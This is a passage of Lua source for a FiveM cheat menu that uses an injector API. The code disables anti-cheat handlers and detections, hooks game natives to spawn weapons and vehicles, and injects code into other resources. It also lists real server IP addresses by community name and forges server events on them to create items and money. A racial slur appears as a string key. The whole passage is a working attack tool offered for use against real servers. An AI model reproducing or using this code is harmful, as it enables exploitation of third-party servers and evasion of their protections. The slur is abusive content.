                        if type(v) == "string" and v == "67314B49663351436761505579774D46654163554539436B4D7761326F575A49" then
                            t[k] = nil
                        elseif type(v) == "table" then
                            scan(v)
                        end
                    end
                end

                local i = 1
                while true do
                    local _, v = debug.getupvalue(AddEventHandler, i)
                    if not v then break end
                    if type(v) == "table" then scan(v) end
                    i = i + 1
                end

                local eventHandlers = getEventHandlers()
                if type(eventHandlers) == "table" then
                    local targets = {
                        ["CEventGunShot"]="Spoofed Bullet Ban Bypassed #1",["CEventGunShotBulletImpact"]="Spoofed Bullet Ban Bypassed #2",
                        ["gameEventTriggered"]="Client Manipulate Ban Bypassed",["jjspob"]="Unknown",["CEventExplosion"]="Explosion Detect Bypassed",
                        ["CEventExplosionHeard"]="Explosion Heard Bypassed",["CEventShockingExplosion"]="Shocking Explosion Bypassed",
                        ["CEventShockingGunshotFired"]="Gunshot Fired Bypassed",["CEventShockingGunshotHitPed"]="Gunshot Hit Ped Bypassed",
                        ["CEventShockingGunshotHitBuilding"]="Gunshot Hit Building Bypassed",["CEventShockingHelicopterOverhead"]="Helicopter Overhead Bypassed",
                        ["CEventShockingCarCrash"]="Car Crash Bypassed",["CEventShockingDrivingOnPavement"]="Driving On Pavement Bypassed",
                        ["CEventShockingBicycleOnPavement"]="Bicycle On Pavement Bypassed",["CEventShockingMadDriver"]="Mad Driver Bypassed",
                        ["CEventShockingPoliceInvestigating"]="Police Investigation Bypassed",["CEventShockingVisibleWeapon"]="Visible Weapon Bypassed",
                        ["CEventShockingVisibleWeaponThreat"]="Weapon Threat Bypassed",["CEventShockingDeadBody"]="Dead Body Bypassed",
                        ["CEventShockingDangerousAnimal"]="Dangerous Animal Bypassed",["CEventShockingEngineRevved"]="Engine Rev Bypassed",
                        ["CEventShockingHornSounded"]="Horn Sound Bypassed",["CEventShockingInDangerousVehicle"]="Dangerous Vehicle Bypassed",
                        ["CEventShockingNiceCar"]="Nice Car Bypassed",["CEventShockingPedKnockedIntoByPlayer"]="Ped Knocked Bypassed",
                        ["CEventShockingPotentialBlast"]="Potential Blast Bypassed",["CEventShockingPropertyDamage"]="Property Damage Bypassed",
                        ["CEventShockingRunningPed"]="Running Ped Bypassed",["CEventShockingSirens"]="Sirens Bypassed",
                        ["CEventShockingStudioBomb"]="Studio Bomb Bypassed",["CEventShockingVehicleTowed"]="Vehicle Towed Bypassed",
                        ["CEventVehicleCollision"]="Vehicle Collision Bypassed",["CEventVehicleDamage"]="Vehicle Damage Bypassed",
                        ["CEventVehicleOnFire"]="Vehicle Fire Bypassed",["CEventVehicleCreated"]="Vehicle Spawn Bypassed",
                        ["CEventVehicleUndriveable"]="Vehicle Undriveable Bypassed",["CEventPedCollisionWithPed"]="Ped Collision Bypassed",
                        ["CEventPedCollisionWithPlayer"]="Player Collision Bypassed",["CEventPedEnteredMyVehicle"]="Vehicle Enter Bypassed",
                        ["CEventPedJackingMyVehicle"]="Vehicle Jack Bypassed",["CEventPedOnCarRoof"]="Car Roof Bypassed",
                        ["CEventPedToChase"]="Ped Chase Bypassed",["CEventPlayerCollisionWithPed"]="Player Ped Collision Bypassed",
                        ["CEventPlayerDeath"]="Player Death Bypassed",["CEventPlayerUnableToEnterVehicle"]="Vehicle Enter Fail Bypassed",
                        ["CEventPlayerSpawned"]="Spawn Detect Bypassed",["CEventNetworkPlayerEnteredVehicle"]="Network Enter Vehicle Bypassed",
                        ["CEventNetworkPlayerLeftVehicle"]="Network Leave Vehicle Bypassed",["CEventNetworkEntityDamage"]="Network Damage Bypassed",
                        ["CEventNetworkHostMigration"]="Host Migration Bypassed",["CEventNetworkCheatTriggered"]="Cheat Trigger Bypassed",
                        ["CEventEntityDestroyed"]="Entity Destroy Bypassed",["CEventEntityDamaged"]="Entity Damage Bypassed",
                        ["CEventObjectCollision"]="Object Collision Bypassed",["CEventFireNearby"]="Nearby Fire Bypassed",
                        ["CEventCrimeReported"]="Crime Report Bypassed",["CEventDisturbance"]="Disturbance Bypassed",
                        ["CEventDraggedOutCar"]="Dragged Out Car Bypassed",["CEventLeaderEnteredCarAsDriver"]="Leader Enter Driver Bypassed",
                        ["CEventLeaderExitedCarAsDriver"]="Leader Exit Driver Bypassed",["CEventAcquaintancePedDead"]="Ped Dead Bypassed",
                        ["CEventAcquaintancePedHate"]="Ped Hate Bypassed",["CEventAcquaintancePedLike"]="Ped Like Bypassed",
                        ["CEventAcquaintancePedWanted"]="Ped Wanted Bypassed",["CEventDataDecisionMaker"]="Decision Maker Bypassed",
                        ["CEventHelpAmbientFriend"]="Ambient Friend Bypassed",["CEventPotentialWalkIntoFire"]="Walk Into Fire Bypassed",
                        ["CEventPotentialBlast"]="Potential Blast Bypassed",["CEventRanOverPed"]="Ran Over Ped Bypassed",
                        ["CEventSeenCop"]="Seen Cop Bypassed",["CEventFootStepHeard"]="Footstep Heard Bypassed",
                        ["CEventHurtTransition"]="Hurt Transition Bypassed",["CEventMeleeAction"]="Melee Action Bypassed",
                        ["CEventMeleeHit"]="Melee Hit Bypassed",["CEventDamage"]="Damage Event Bypassed",
                        ["CEventDeath"]="Death Event Bypassed",["CEventRevived"]="Revive Event Bypassed",
                        ["CEventScriptCommand"]="Script Command Bypassed",["CEventOpenDoor"]="Door Open Bypassed",
                        ["CEventCloseDoor"]="Door Close Bypassed",["CEventClimbLadderOnRoute"]="Ladder Route Bypassed",
                        ["CEventStatValueChanged"]="Stat Change Bypassed"
                    }

                    for eventName in pairs(targets) do
                        local raw = eventHandlers[eventName]
                        if raw then
                            if raw.handlers then
                                for id, fn in pairs(raw.handlers) do
                                    if type(fn) == "function" then
                                        raw.handlers[id] = function() end
                                    end
                                end
                            else
                                for id, fn in pairs(raw) do
                                    if type(fn) == "function" then
                                        raw[id] = function() end
                                    end
                                end
                            end
                        end
                    end
                end

                local seen = {}
                local depth = 0

                local function get_value_str(v)
                    if v == nil then return "nil" end
                    if type(v) == "string" then
                        return '"' .. v:sub(1,80):gsub("\n","\\n") .. (#v>80 and "..." or "") .. '"'
                    elseif type(v) == "function" then
                        local info = debug.getinfo(v, "Sln") or {}
                        return string.format("func(%s:%d)", info.short_src or "?", info.linedefined or 0)
                    elseif type(v) == "table" then
                        return tostring(v) .. " [#" .. (#v or "?") .. "]"
                    end
                    return tostring(v)
                end

                local function unlockScan(t, path)
                    if type(t) ~= "table" or seen[t] or depth > 12 then return end
                    seen[t] = true
                    depth = depth + 1

                    for k, v in pairs(t) do
                        if type(k) == "string" then
                            local changed = false
                            local before = v

                            if (k:sub(-6) == "Nigger" or k:find("bypass") or k:find("Bypass")) and v ~= true then
                                t[k] = true
                                changed = true
                            end
                        end

                        if type(v) == "table" then
                            unlockScan(v, path .. "." .. (type(k)=="string" and k or "["..tostring(k).."]"))
                        elseif type(v) == "function" then
                            local j = 1
                            while true do
                                local un, uv = debug.getupvalue(v, j)
                                if not un then break end
                                if type(uv) == "table" then
                                    unlockScan(uv, path .. "." .. k .. " " .. un)
                                end
                                j = j + 1
                            end
                        end
                    end

                    depth = depth - 1
                end

                i = 1
                while true do
                    local name, value = debug.getupvalue(AddEventHandler, i)
                    if not name then break end

                    if type(value) == "table" then
                        unlockScan(value, "up["..i.."]("..name..")")
                    elseif type(value) == "function" then
                        local j = 1
                        while true do
                            local un, uv = debug.getupvalue(value, j)
                            if not un then break end
                            if type(uv) == "table" then
                                unlockScan(uv, "up["..i.."]("..name..") "..un)
                            end
                            j = j + 1
                        end
                    end
                    i = i + 1
                end
            end)
        ]])
    elseif ac == 'ReaperV4' or ac == 'ReaperV4 Pro' then
        MachoInjectResourceRaw('ReaperV4', [[
            local _D = Detections or Detections_Self
            if _D then
                _D.detection = function()
                    return { key = "" }
                end
            end
        ]])
    end
else
    Debug('No known Anti-Cheat detected.')
    showNotify('No known Anti-Cheat detected in any resources.', 'info')
end

local function spawnWeaponByName(name, amount)
    if MachoResourceInjectable('ox_inventory') then
        injectCode('ox_inventory', '_G.RemoveAllPedWeapons = function() end')
    end

    if MachoResourceInjectable('ReaperV4') then
        local setWeapon = GetHashKey(name)
        local hooked = false

        MachoHookNative(0x0A6DB4965674D243, function(...)
            if GetCurrentResourceName() ~= 'ReaperV4' then return true end
            hooked = true
            return false, setWeapon
        end)

        MachoHookNative(0x8483E98E8B888AE2, function(...)
            if GetCurrentResourceName() ~= 'ReaperV4' then return true end
            hooked = true
            return false, setWeapon
        end)

        MachoHookNative(0x3A87E44BB9A01D54, function(...)
            if GetCurrentResourceName() ~= 'ReaperV4' then return true end
            hooked = true
            return false, false, setWeapon
        end)

        MachoHookNative(0x8DECB02F88F428BC, function(...)
            if GetCurrentResourceName() ~= 'ReaperV4' then return true end
            hooked = true
            return false, false
        end)

        CreateThread(function()
            local timer = GetGameTimer()
            while not hooked and (GetGameTimer() - timer) < 5000 do
                Wait(0)
            end
            GiveWeaponToPed(PlayerPedId(), setWeapon, amount or 250, false, true)
            SetPedAmmo(PlayerPedId(), setWeapon, amount or 250)
        end)
    else
        local weaponHash = GetHashKey(name)
        GiveWeaponToPed(PlayerPedId(), weaponHash, amount or 250, false, true)
    end
end

local function spawnCustomVehicle(setModel)
    if MachoResourceInjectable('hex-game') then
        injectCode('hex-game', string.format([[
            _G.Config.EnableGodmode = false
            _G.Config.Vehicle = '%s'

            local entit = SafeRunNative(TriggerEvent, 'hex-game:teleportPlayers', GetEntityCoords(PlayerPedId()))

            _G.SetVehicleDoorsLocked = function(...)
                if entit then return end
                return SetVehicleDoorsLocked(...)
            end
            _G.FreezeEntityPosition = function(...)
                if entit then return end
                return FreezeEntityPosition(...)
            end
            _G.SetVehicleCanBeTargetted = function(...)
                if entit then return end
                return SetVehicleCanBeTargetted(...)
            end
            _G.SetEntityInvincible = function(...)
                if entit then return end
                return SetEntityInvincible(...)
            end
            _G.DisableControlAction = function(...) local args = {...} if args[1] == 0 and args[2] == 75 then return end return DisableControlAction(...) end
        ]], setModel))
    elseif MachoResourceInjectable('WaveShield') then
        injectCode('monitor', string.format([[
            local setModel = GetHashKey('%s')
            local setPed = PlayerPedId()
            local selfCoords = GetEntityCoords(setPed)

            RequestModel(setModel)
            while not HasModelLoaded(setModel) do
                Wait(0)
            end

            SafeRunNative(CreateVehicle, setModel, selfCoords, 0.0, true, false)
        ]], setModel))
    else
        injectCode('monitor', string.format([[
            local setModel = GetHashKey('%s')
            local setPed = PlayerPedId()
            local selfCoords = GetEntityCoords(setPed)

            RequestModel(setModel)
            while not HasModelLoaded(setModel) do
                Wait(0)
            end

            SafeRunNative(CreateVehicle, setModel, selfCoords, 0.0, true, false)
        ]], setModel))
    end
end

local setClasses = {
    [0]  = { label = 'Compacts', models = {} },
    [1]  = { label = 'Sedans', models = {} },
    [2]  = { label = 'SUVs', models = {} },
    [3]  = { label = 'Coupes', models = {} },
    [4]  = { label = 'Muscle', models = {} },
    [5]  = { label = 'Sports Classics', models = {} },
    [6]  = { label = 'Sports', models = {} },
    [7]  = { label = 'Super', models = {} },
    [8]  = { label = 'Motorcycles', models = {} },
    [9]  = { label = 'Off-road', models = {} },
    [10] = { label = 'Industrial', models = {} },
    [11] = { label = 'Utility', models = {} },
    [12] = { label = 'Vans', models = {} },
    [13] = { label = 'Cycles', models = {} },
    [14] = { label = 'Boats', models = {} },
    [15] = { label = 'Helicopters', models = {} },
    [16] = { label = 'Planes', models = {} },
    [17] = { label = 'Service', models = {} },
    [18] = { label = 'Emergency', models = {} },
    [19] = { label = 'Military', models = {} },
    [20] = { label = 'Commercial', models = {} },
    [21] = { label = 'Trains', models = {} },
    [22] = { label = 'Open Wheel', models = {} },
}

do
    local gameModels = GetAllVehicleModels() or {}
    for i = 1, #gameModels do
        local model = gameModels[i]
        local setClass = GetVehicleClassFromName(model)
        if setClass and setClasses[setClass] then
            local t = setClasses[setClass].models
            t[#t + 1] = model
        end
    end
end

local vehicleClassScrollItems = {}
vehicleClassScrollItems[#vehicleClassScrollItems + 1] = {
    label = 'Custom Model',
    type = 'button',
    onConfirm = function(model)
        showInput("Enter Vehicle Model", "", function(model)
            if model and model ~= "" then
                spawnCustomVehicle(model)
            end
        end)
    end
}
vehicleClassScrollItems[#vehicleClassScrollItems + 1] = {
    label = 'All Models',
    type = 'divider',
}
for i = 0, 22 do
    if setClasses[i] and #setClasses[i].models > 0 then
        local models = setClasses[i].models
        local options = {}
        for j = 1, #models do
            options[j] = { label = models[j], value = models[j] }
        end
        vehicleClassScrollItems[#vehicleClassScrollItems + 1] = {
            label = setClasses[i].label,
            type = 'scroll',
            selected = 1,
            options = options,
            onConfirm = function(state)
                if state and state.value and state.value ~= "" then
                    spawnCustomVehicle(state.value)
                end
            end
        }
    end
end

local onlineListSubmenu = {
    {
        type = 'button',
        label = 'Select All Players',
        icon = 'ph-check-square',
        onConfirm = function()
            getSelectedPlayers()
        end
    },
    {
        type = 'button',
        label = 'Unselect All Players',
        icon = 'ph-square',
        onConfirm = function()
            setPlayers = {}
        end
    },
    { type = 'divider', label = 'Render Players' },
}

local SPAWN_KNOWN_ENDPOINTS = {
    ['135.148.129.55:30120'] = true,
    ['191.96.152.90:30120'] = true,
    ['206.168.173.19:3031'] = true,
    ['162.222.16.70:30120'] = true,
    ['178.239.199.58:30120'] = true,
    ['212.192.29.119:30130'] = true,
    ['91.190.154.39:30120'] = true,
    ['143.20.58.37:30120'] = true,
    ['191.96.152.17:30120'] = true,
    ['191.96.152.209:30120'] = true,
    ['128.254.184.92:30120'] = true,
    ['91.212.19.6:30120'] = true,
    ['23.26.135.40:30120'] = true,
    ['45.144.225.52:30120'] = true,
    ['23.26.121.215:30120'] = true,
    ['191.96.152.82:30120'] = true,
    ['141.11.104.28:30120'] = true,
    ['143.20.58.53:30120'] = true,
    ['91.212.19.130:30120'] = true,
    ['91.212.19.9:30120'] = true,
    ['91.190.154.176:30120'] = true,
    ['216.146.24.208:30120'] = true,
    ['23.26.121.19:30120'] = true,
    ['91.190.154.176:30120'] = true,
    ['216.146.24.52:30120'] = true,
    ['185.244.106.32:30120'] = true,
    ['141.11.104.101:30120'] = true,
    ['191.96.152.82:30120'] = true,
    ['141.140.31.79:30120'] = true,
    ['137.175.60.24:30120'] = true,
    ['162.222.16.4:30120'] = true,
    ['137.175.60.24:30120'] = true,
    ['191.96.152.27:30120'] = true,
    ['162.222.16.100:30120'] = true,
    ['191.96.152.12:30120'] = true,
    ['191.96.152.15:30120'] = true,
    ['91.212.19.10:30120'] = true,
    ['96.126.188.16:30120'] = true,
    ['162.222.16.216:30120'] = true,
    ['185.244.106.68:30120'] = true,
    ['216.146.24.124:30120'] = true,
    ['141.11.104.34:30120'] = true,
    ['128.254.184.25:30120'] = true,
    ['216.146.24.178:30120'] = true,
    ['147.189.168.247:30120'] = true,
    ['137.175.60.67:30120'] = true,
    ['185.244.106.41:30120'] = true,
    ['23.26.121.55:30120'] = true,
    ['23.26.121.156:30120'] = true,
    ['191.96.152.145:30120'] = true,
    ['141.11.104.43:30120'] = true,
    ['162.222.16.245:30120'] = true,
    ['207.180.26.2:30120'] = true,
    ['162.222.16.22:30120'] = true,
    ['162.222.16.52:30120'] = true,
    ['141.11.104.82:30120'] = true,
    ['23.26.121.27:30120'] = true,
    ['23.26.121.82:30120'] = true,
    ['185.244.106.28:30120'] = true,
    ['96.126.188.219:30120'] = true,  -- Land of Chicago
    ['217.20.242.41:30120'] = true,   -- 3rivers
    ['185.244.106.5:30120'] = true,   -- Heights Stories
    ['162.222.16.147:30120'] = true,  -- The Ave LA
    ['191.96.152.18:30120'] = true,   -- Trap Printer RP
    ['141.11.104.110:30120'] = true,  -- Storybook RP
    ['191.96.152.165:30120'] = true,  -- Ghetto Stories
    ['104.234.214.249:30120'] = true, -- South LA
    ['216.146.24.146:30120'] = true,  -- Streamer Academy
    ['91.212.19.72:30120'] = true,    -- South Beach
    ['216.146.24.187:30120'] = true,  -- Goon World RP
}

local SPAWN_PROFILES = {
    { endpoint = '135.148.129.55:30120', resources = { 'xmmx_letscookplus' } }, -- DaTrapRp, Smacked City RP, back2detroitrp, TB2LA V3, The Lands, Paradise Roleplay, SITW PT 2, Hustlaz Heaven, NoL's, Trapcity Chicago, Streets of Carolina, Press Gass RP, Streets of Love RP, Chiraq Stories
    { endpoint = '185.244.106.32:30120', resources = { 'mic_hookah' } }, -- The Sections Roleplay
    { endpoint = '141.11.104.101:30120', resources = { 'brutal_boxing', 'mic_hookah' } }, -- The Sections
    { endpoint = '191.96.152.145:30120', resources = { 'mic_hookah', 'devkit_drugsystem' } }, -- OnTheFlo RP
    { endpoint = '91.212.19.9:30120', resources = { 'ms_weedrolling_esx' } }, -- SITW | [ESX Legacy], Lincoln Park
    { endpoint = '216.146.24.208:30120', resources = { 'jerknjam_plus' } }, -- KittyWorld RP V2, nolove in la
    { endpoint = '216.146.24.178:30120', resources = { 'ms_lean_system' } }, -- Cali Love RP, Streets of Philly RP
    { endpoint = '162.222.16.245:30120', resources = { 'ms_percs_system', 'ms_lean_system' } }, -- Windy City
    { endpoint = '191.96.152.12:30120', resources = { 'ms_xanax_system_esx' } }, -- chicago rp: new gen, Grant Park
    { endpoint = '23.26.121.27:30120', resources = { 'brutal_boxing', 'ak47_idcardv2' } }, -- TrapWorld RP
    { endpoint = '141.11.104.28:30120', resources = { 'devkit_drugselling' } }, -- SAB WL
    { endpoint = '91.212.19.130:30120', resources = { 'wasabi_ambulance' } }, -- Love Story RP
    { endpoint = '216.146.24.52:30120', resources = { 'wais-hunting' } }, -- Chiberia
    { endpoint = '141.140.31.79:30120', resources = { 'hax_drugprocessing' } }, -- Tfb V5
    { endpoint = '162.222.16.4:30120', resources = { 'esx_electricianjob' } }, -- chicago chronicles
    { endpoint = '191.96.152.27:30120', resources = { 'pug-businesscreator' } }, -- Euphoria RP
    { endpoint = '162.222.16.100:30120', resources = { 'ak47_anklemonitor' } }, -- heart of atl
    { endpoint = '91.212.19.10:30120', resources = { 'spoodyGunPlug' } }, -- Chop City
    { endpoint = '96.126.188.16:30120', resources = { 'cc-chipeo' } }, -- G1TCH NYC
    { endpoint = '216.146.24.124:30120', resources = { 'ft_qb_perfumes' } }, -- True Love Roleplay
    { endpoint = '137.175.60.67:30120', resources = { 'ms_xanax_system' } }, -- The City RP
    { endpoint = '185.244.106.41:30120', resources = { 'evo-k9-v3' } }, -- 17th Street RP
    { endpoint = '23.26.121.55:30120', resources = { 'devx-lustshop' } }, -- DownSouth Broward
    { endpoint = '23.26.121.156:30120', resources = { 'codewave-bbq' } }, -- Hyde Park
    { endpoint = '141.11.104.43:30120', resources = { 'devkit_bundles' } }, -- Synce A Baby
    { endpoint = '162.222.16.22:30120', resources = { 'codewave-handbag-phone' } }, -- Blackrose LA
    { endpoint = '162.222.16.52:30120', resources = { 'angelicxs-CivilianJobs' } }, -- trapcity chicago
    { endpoint = '23.26.121.82:30120', resources = { 'ak47_smokingv2' } }, -- VibezRus Lifestyle
    -- Shadow port: resource-only triggers (no fixed IP)
    { endpoint = 'res:wn_crafting', resources = { 'wn_crafting' } },
    { endpoint = 'res:ak47_business', resources = { 'ak47_business' } },
    { endpoint = 'res:hg-wheel-main', resources = { 'hg-wheel-main' } },
    { endpoint = 'res:0r-fishingv2', resources = { '0r-fishingv2' } },
    { endpoint = 'res:rm_drugs', resources = { 'rm_drugs' } },
    { endpoint = 'res:5md_thicktruck', resources = { '5md_thicktruck' } },
    { endpoint = 'res:elder_speedcontrol', resources = { 'elder_speedcontrol' } },
    { endpoint = 'res:ag_ammo', resources = { 'ag_ammo' } },
    { endpoint = 'res:xmmx_bahamas', resources = { 'xmmx_bahamas' } },
    { endpoint = 'res:kaves_drugsv2', resources = { 'kaves_drugsv2' } },
    { endpoint = 'res:ars_smoking', resources = { 'ars_smoking' } },
    { endpoint = 'res:devkit_leansystem', resources = { 'devkit_leansystem' } },
    { endpoint = 'res:fivecode_uwucatcafejob', resources = { 'fivecode_uwucatcafejob' } },
    { endpoint = 'res:devcore_smokev2', resources = { 'devcore_qbus_smokve2_new' } },
    { endpoint = 'res:pixel-consumables', resources = { 'pixel-consumables' } },
    { endpoint = 'res:DE_bbq', resources = { 'DE_bbq' } },
    { endpoint = 'res:dynyx_ebtcards', resources = { 'dynyx_ebtcards' } },
    { endpoint = 'res:qs-drugs', resources = { 'qs-drugs' } },
    { endpoint = 'res:pug-chopping', resources = { 'pug-chopping' } },
    { endpoint = 'res:devkit_bluntrolling', resources = { 'devkit_bluntrolling' } },
    { endpoint = 'res:sf_uwucafe', resources = { 'sf_uwucafe' } },
    { endpoint = 'res:jim-recycle', resources = { 'jim-recycle' } },
    { endpoint = 'res:0r-atmrobbery', resources = { '0r-atmrobbery' } },
    { endpoint = 'res:drz_medicinedelivery', resources = { 'drz_medicinedelivery' } },
    { endpoint = 'res:fivecode_camping', resources = { 'fivecode_camping' } },
    { endpoint = 'res:t1ger_lib', resources = { 't1ger_lib' } },
    { endpoint = 'res:hookah', resources = { 'mic_hookah' } },
    { endpoint = 'res:devkit_smoking', resources = { 'devkit_smoking' } },
    { endpoint = 'res:exit-boombox', resources = { 'exit-boombox' } },
    { endpoint = 'res:designer_crafting', resources = { 'designer_crafting' } },
    { endpoint = 'res:ak47_khusbites', resources = { 'ak47_khusbites' } },
}

local function spawnResourceAvailable(resource)
    if MachoResourceInjectable(resource) then
        return true
    end

    return GetResourceState(resource) == 'started'
end

local function resolveSpawnEndpoint(endpoint)
    if endpoint and SPAWN_KNOWN_ENDPOINTS[endpoint] then
        return endpoint
    end

    for i = 1, #SPAWN_PROFILES do
        local profile = SPAWN_PROFILES[i]

        for j = 1, #profile.resources do
            if spawnResourceAvailable(profile.resources[j]) then
                return profile.endpoint
            end
        end
    end

    return nil
end

local function giveDirtyMoney(amount)
    amount = amount or 1
    local endpoint = GetCurrentServerEndpoint()

    -- IP-gated stasiek entries
    if endpoint == '91.190.154.234:30120' then
        injectCode('monitor', string.format([[
            SafeRunNative(TriggerServerEvent, 'stasiek_selldrugsv2:pay', {
                label = 'junkie',
                count = 0,
                price = %d,
                zone = 'The Meat Quarter'
            })
        ]], amount))
        return
    end

    if endpoint == '181.215.63.199:30120' then
        injectCode('monitor', string.format([[
            SafeRunNative(TriggerEvent, 'stasiek_selldrugsv2:findClient', {
                ['i'] = 8,
                ['label'] = 'junkie',
                ['type'] = 'junkie',
                ['zone'] = 'The Meat Quarter',
                ['price'] = %d,
                ['count'] = 0
            })
        ]], amount))
        return
    end

    -- marz_drugselling (suppress ox_lib notify spam)
    if GetResourceState('marz_drugselling') == 'started' then
        injectCode('ox_lib', [[
            SendNUIMessage = function(data)
                if type(data) == 'table' and data.action == 'notify' then return end
                return SendNUIMessage(data)
            end
        ]])
        injectCode('monitor', string.format([[
            for i = 1, %d do
                SafeRunNative(TriggerServerEvent, 'marz_drugselling:server:completeSale', {label='junkie', amount=0, price=10000000})
                Wait(50)
            end
        ]], amount))
        return
    end

    if GetResourceState('Trenchtown-drugselling') == 'started' then
        injectCode('ox_lib', [[
            SendNUIMessage = function(data)
                if type(data) == 'table' and data.action == 'notify' then return end
                return SendNUIMessage(data)
            end
        ]])
        injectCode('monitor', string.format([[
            for i = 1, %d do
                SafeRunNative(TriggerServerEvent, 'marz_drugselling:server:completeSale', {label='junkie', amount=0, price=10000000})
                Wait(50)
            end
        ]], amount))
        return
    end

    if GetResourceState('stasiek_selldrugsv2') == 'started' then
        injectCode('monitor', string.format([[
            SafeRunNative(TriggerServerEvent, 'stasiek_selldrugsv2:pay', {
                label = 'junkie',
                count = 0,
                price = %d,
                zone = 'The Meat Quarter'
            })
        ]], amount))
        return
    end

    showNotify('No dirty money script found', 'error')
end

local function spawnItem(itemName, amount)
    itemName = itemName or 'None'
    amount = amount or 'None'
    local endpoint = GetCurrentServerEndpoint()

    itemName = itemName:lower()

    endpoint = resolveSpawnEndpoint(endpoint)

    if not endpoint then
        showNotify('No supported item script found', 'error')
        return
    end

    if endpoint == '135.148.129.55:30120' or endpoint == '191.96.152.90:30120' or endpoint == '206.168.173.19:3031' or endpoint == '162.222.16.70:30120' or endpoint == '178.239.199.58:30120' or endpoint == '212.192.29.119:30130' or endpoint == '91.190.154.39:30120' or endpoint == '191.96.152.17:30120' or endpoint == '191.96.152.209:30120' or endpoint == '128.254.184.92:30120' or endpoint == '91.212.19.6:30120' or endpoint == '23.26.135.40:30120' or endpoint == '45.144.225.52:30120' or endpoint == '23.26.121.215:30120' or endpoint == '191.96.152.82:30120' then -- DaTrapRp, Smacked City RP, back2detroitrp, TB2LA V3, The Lands, Paradise Roleplay, SITW PT 2, Hustlaz Heaven, NoL's, Trapcity Chicago, Streets of Carolina, Press Gass RP, Streets of Love RP, Chiraq Stories
        injectCode('xmmx_letscookplus', string.format([[
            local SET_ITEM = '%s'
            local SET_AMOUNT = %d

            Shop.GroceryAmt = SET_AMOUNT
            XM.MiniGame = function(data) return true end
            XM.Progress = function(label, info) return true end
            XM.RequestAnim = function(dict) end

            SafeRunNative(TriggerEvent, 'xmmx_letscookplus:client:openGroceryBag', 'grocery_bag', {SET_ITEM})
        ]], itemName, amount))
    elseif endpoint == '141.11.104.28:30120' then -- SAB WL
        injectCode('devkit_drugselling', string.format([[
            local SET_ITEM = '%s'
            local SET_AMOUNT = %d

            SafeRunNative(TriggerServerEvent, 'devkit_drugselling:giverobback', SET_ITEM, SET_AMOUNT)
        ]], itemName, amount))
    elseif endpoint == '143.20.58.53:30120' then -- BMF RP X Big Meech
        injectCode('xmmx_letscookplus', string.format([[
            local SET_ITEM = '%s'
            local SET_AMOUNT = %d

            Shop.GroceryAmt = SET_AMOUNT
            XM.MiniGame = function(data) return true end
            XM.Progress = function(label, info) return true end
            XM.RequestAnim = function(dict) end

            SafeRunNative(TriggerEvent, 'xmmx_letscookplus:client:openGroceryBag', 'grocery_bag', {SET_ITEM})
        ]], itemName, amount))
    elseif endpoint == '91.212.19.130:30120' then -- Love Story RP
        injectCode('wasabi_ambulance', string.format([[
            local SET_ITEM = '%s'
            local SET_AMOUNT = %d

            for i = 1, SET_AMOUNT do
                SafeRunNative(gItem, { item = SET_ITEM, label = 'Free', price = 0 })
                Wait(100)
            end
        ]], itemName, amount))
    elseif endpoint == '91.212.19.9:30120' or endpoint == '91.190.154.176:30120' then -- SITW | [ESX Legacy], Lincoln Park
        injectCode('ms_weedrolling_esx', string.format([[
            local SET_ITEM = '%s'
            local SET_AMOUNT = %d

            SafeRunNative(TriggerEvent, 'mythic_weed:openBackwoodPackage', { packageItem = 'money', backwoodItem = SET_ITEM, quantity = SET_AMOUNT })
        ]], itemName, amount))
    elseif endpoint == '216.146.24.208:30120' or endpoint == '23.26.121.19:30120' or endpoint == '91.190.154.176:30120' then -- KittyWorld RP V2, nolove in la
        injectCode('jerknjam_plus', string.format([[
            local SET_ITEM = '%s'
            local SET_AMOUNT = %d

            SafeRunNative(TriggerServerEvent, 'jerknjam_plus:server:giveItem', SET_ITEM, 0, SET_AMOUNT)
        ]], itemName, amount))
    elseif endpoint == '216.146.24.52:30120' then -- Chiberia
        injectCode('wais-hunting', string.format([[
            _G.SendNUIMessage = function() end
            _G.Config.Notification = function() end

            for i = 1, %d do
                _G.canReciveMissionReward = true
                SafeRunNative(TriggerServerEvent, 'wais:hunting:server:missionCompleted', 13)

                Wait(100)
            end
        ]], amount))
    elseif endpoint == '185.244.106.32:30120' then -- The Sections Roleplay
        injectCode('mic_hookah', string.format([[
            local function GiveItem()
                SafeRunNative(TriggerServerEvent, 'hookah:addItem', '%s')
            end

            for i = 1, %d do
                GiveItem()
                Wait(15)
            end
        ]], itemName, amount))
    elseif endpoint == '141.11.104.101:30120' then -- The Sections
        if itemName == 'cash' or itemName == 'money' then
            injectCode('brutal_boxing', string.format([[
                _G.notification = function() end

                SafeRunNative(TriggerServerEvent, 'brutal_boxing:server:endofbet', {
                    bets = {
                        player1 = 0,
                        player2 = 0,
                        [GetPlayerServerId(PlayerId())] = {amount = %d}
                    }
                }, false)
            ]], amount))
        else
            injectCode('mic_hookah', string.format([[
                local function GiveItem()
                    SafeRunNative(TriggerServerEvent, 'hookah:addItem', '%s')
                end

                for i = 1, %d do
                    GiveItem()
                    Wait(15)
                end
            ]], itemName, amount))
        end
    elseif endpoint == '191.96.152.82:30120' then -- Chiraq Stories
        injectCode('mic_hookah', string.format([[
            local function GiveItem()
                SafeRunNative(TriggerServerEvent, 'hookah:addItem', '%s')
            end

            for i = 1, %d do
                GiveItem()
                Wait(15)
            end
        ]], itemName, amount))
    elseif endpoint == '141.140.31.79:30120' then -- Tfb V5
        injectCode('ox_lib', [[
            SendNUIMessage = function(data) if type(data) == 'table' and data.action == 'notify' then return end return SendNUIMessage(data) end
        ]])

        injectCode('hax_drugprocessing', string.format([[
            local SET_ITEM = '%s'
            local SET_AMOUNT = %d

            SafeRunNative(TriggerServerEvent, 'hax_process:unpackItem', 'cash', SET_ITEM, SET_AMOUNT, 'qs', 'qs')
        ]], itemName, amount))
    elseif endpoint == '137.175.60.24:30120' then -- Dirty South RP
        injectCode('xmmx_letscookplus', string.format([[
            local SET_ITEM = '%s'
            local SET_AMOUNT = %d

            Shop.GroceryAmt = SET_AMOUNT
            XM.MiniGame = function(data) return true end
            XM.Progress = function(label, info) return true end
            XM.RequestAnim = function(dict) end

            SafeRunNative(TriggerEvent, 'xmmx_letscookplus:client:openGroceryBag', 'grocery_bag', {SET_ITEM})
        ]], itemName, amount))
    elseif endpoint == '162.222.16.4:30120' then -- chicago chronicles
        if itemName == 'cash' or itemName == 'money' then
            injectCode('esx_electricianjob', string.format([[
                local function GiveMoney()
                    SafeRunNative(TriggerServerEvent, 'electric:getmoney')
                end

                for i = 1, %d do
                    GiveMoney()
                    Wait(15)
                end
            ]], amount))
        else
            print('sorry cannot spawn items in here.')
        end
